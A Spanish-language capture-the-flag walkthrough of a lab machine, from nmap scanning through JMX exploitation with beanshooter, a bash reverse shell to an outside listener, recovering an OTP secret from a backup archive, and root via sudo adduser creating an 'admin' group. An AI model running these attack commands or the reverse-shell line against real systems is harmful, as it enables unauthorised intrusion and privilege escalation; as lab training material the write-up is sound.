NMAP
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
2222/tcp open java-rmi syn-ack ttl 63 Java RMI
8080/tcp open http syn-ack ttl 63 Apache Tomcat 10.1.19
Revisando la salida del NMAP vemos que hay un HTTP corriendo. Al parecer este puerto http (8080) solamente encontramos un Apache Tomcat por default. Nada interesante de momento.
PORT 2222/tcp
Si profundizo un poco con NMAP sobre este puerto, obtengo el siguiente resultado:
Este servicio es un Java RMI (Remote Method Invocation) ejecutándose en el puerto 2222, que permite a los objetos Java comunicarse y ejecutar métodos de manera remota.}
- JMX (Java Management Extensions)
JMX facilita la gestión y supervisión de aplicaciones y recursos de Java. Permite el acceso y la manipulación de objetos gestionados llamados MBeans (Managed Beans), que exponen propiedades y métodos para su administración. JMX es utilizado para monitorear, configurar y gestionar aplicaciones tanto localmente como de manera remota.
Atacando JMX: Puerto 2222
Investigando el modo en el que podria abusar de este servicio, doy con una tool llamada Beanshooter, la cual es una herramienta de enumeración y ataque para JMX,
que ayuda a identificar vulnerabilidades comunes en los endpoints JMX. El repo lo pueden encontrar en el siguiente link: https://github.com/qtc-de/beanshooter.
Utilizando la siguiente version: beanshooter-4.1.0-jar-with-dependencies.jar, procedo a realizar un escaneo de enumeracion frente al Target:
java -jar beanshooter-4.1.0-jar-with-dependencies.jar enum 10.10.90.221 2222
Del output destaco dos hallazgos:
Al mismo tiempo al finalizar el escaneo me dumpea 2 credenciales. Para el username manager y para el admin.
Algo interesante que tiene la tool es que nos permite directamente generar una shell interactiva.
Procedo con los siguientes dos comandos para obtener shell:
java -jar beanshooter-4.1.0-jar-with-dependencies.jar standard 10.10.90.221 2222 tonka
java -jar beanshooter-4.1.0-jar-with-dependencies.jar tonka shell 10.10.90.221 2222
USER
Finalmente obtengo la shell como tomcat:
En el path /opt/tomcat obtengo el user.txt y saco la flag. Revisando los usuarios del sistema vemos los siguientes:
root:x:0:0:root:/root:/bin/bash
karl:x:1000:1000:karl green:/home/karl:/bin/bash
useradmin:x:1002:1002:,,,:/home/useradmin:/bin/bash
Tratando de reutilizar credenciales me doy cuenta que la shell no es estable y al hacer un comando como su useradmin, se queda freezada.
Tenemos dos opciones podriamos generar una revshell con algun C2 favorito o rapidamente un bash-revshell.
Con un netcat a la escucha del puerto 9000 me doy una revshell desde el target:
bash -c 'bash -i >& /dev/tcp/10.8.0.147/9000 0>&1'
Recibo revshell y procedo a intentar reutilizar las credenciales que obtuvimos al principio, parecen dar con el usuario useradmin sin embargo este parece tener un estilo OTP sobre su usuario el cual requiere de un codigo de verificacion, que hasta el momento no dispongo.
Escalando a useradmin.
Después de varias búsquedas me enfoco en archivos pertenecientes a useradmin y destaco dos files interesantes:
find /home -user useradmin -ls 2>/dev/null
-r------- 1 useradmin useradmin 164 Jul 9 06:03 .google_authenticator
-rw-rw-r-- 1 useradmin useradmin 3.1K Jun 21 16:50 backup.tar.gz
No podemos leer el primer archivo .google_authenticator, sin embargo si podemos ver el contenido del segundo. Lo copio hacia /tmp y trato de descomprimirlo.
cp backup.tar.gz /tmp
cd /tmp
tar xvzf backup.tar.gz
Recibo una serie de errores, sin embargo el archivo .google_authenticator se descomprime:
Al catearlo vemos que ya estamos en condiciones de escalar a useradmin.
ROOT via SUDOERS (admin group)
Ya una vez como useradmin, verificamos algunas cosas básicas y entre ellas el sudo -l :
Mediante sudo estamos permitidos a crear un nuevo usuario en el sistema. Se restringe a caracteres alfanumericos. Intente varias cosas, como crear una cuenta de system con sudo /usr/sbin/adduser test --system, o inyectar caracteres de ‘escape’. Todos los caminos conducian a un unico lugar y era el SUDOERS file, ubicado en /etc/sudoers. Como no tengo permiso para visualizarlo, busco una version ‘estandar’ de sistemas Linux Ubuntu. Estos lucen similar a lo siguiente:
En la linea 5 vemos que dice “los miembros de el ADMIN GROUP pueden obtener privilegios de ROOT”, y si verificamos en los grupos existentes del sistema no existe este grupo.
Cuando se crea un nuevo usuario en el sistema, automáticamente se crea un grupo con el mismo nombre. Por lo tanto, si agregamos un usuario llamado ‘admin’, se creará un grupo llamado ‘admin’ y el usuario ‘admin’ se añadirá a ese grupo automáticamente.
sudo /usr/sbin/adduser admin
Adding user `admin' ...
Adding new group `admin' (1004) ...
Adding new user `admin' (1004) with group `admin' ...
Creating home directory `/home/admin' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for admin
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]
Intercambio al usuario ‘admin’ creado y ahora podemos ver que si hago un sudo -l
User admin may run the following commands on manage:
(ALL) ALL
Solo basta con un sudo su y somos root.
Pwned.
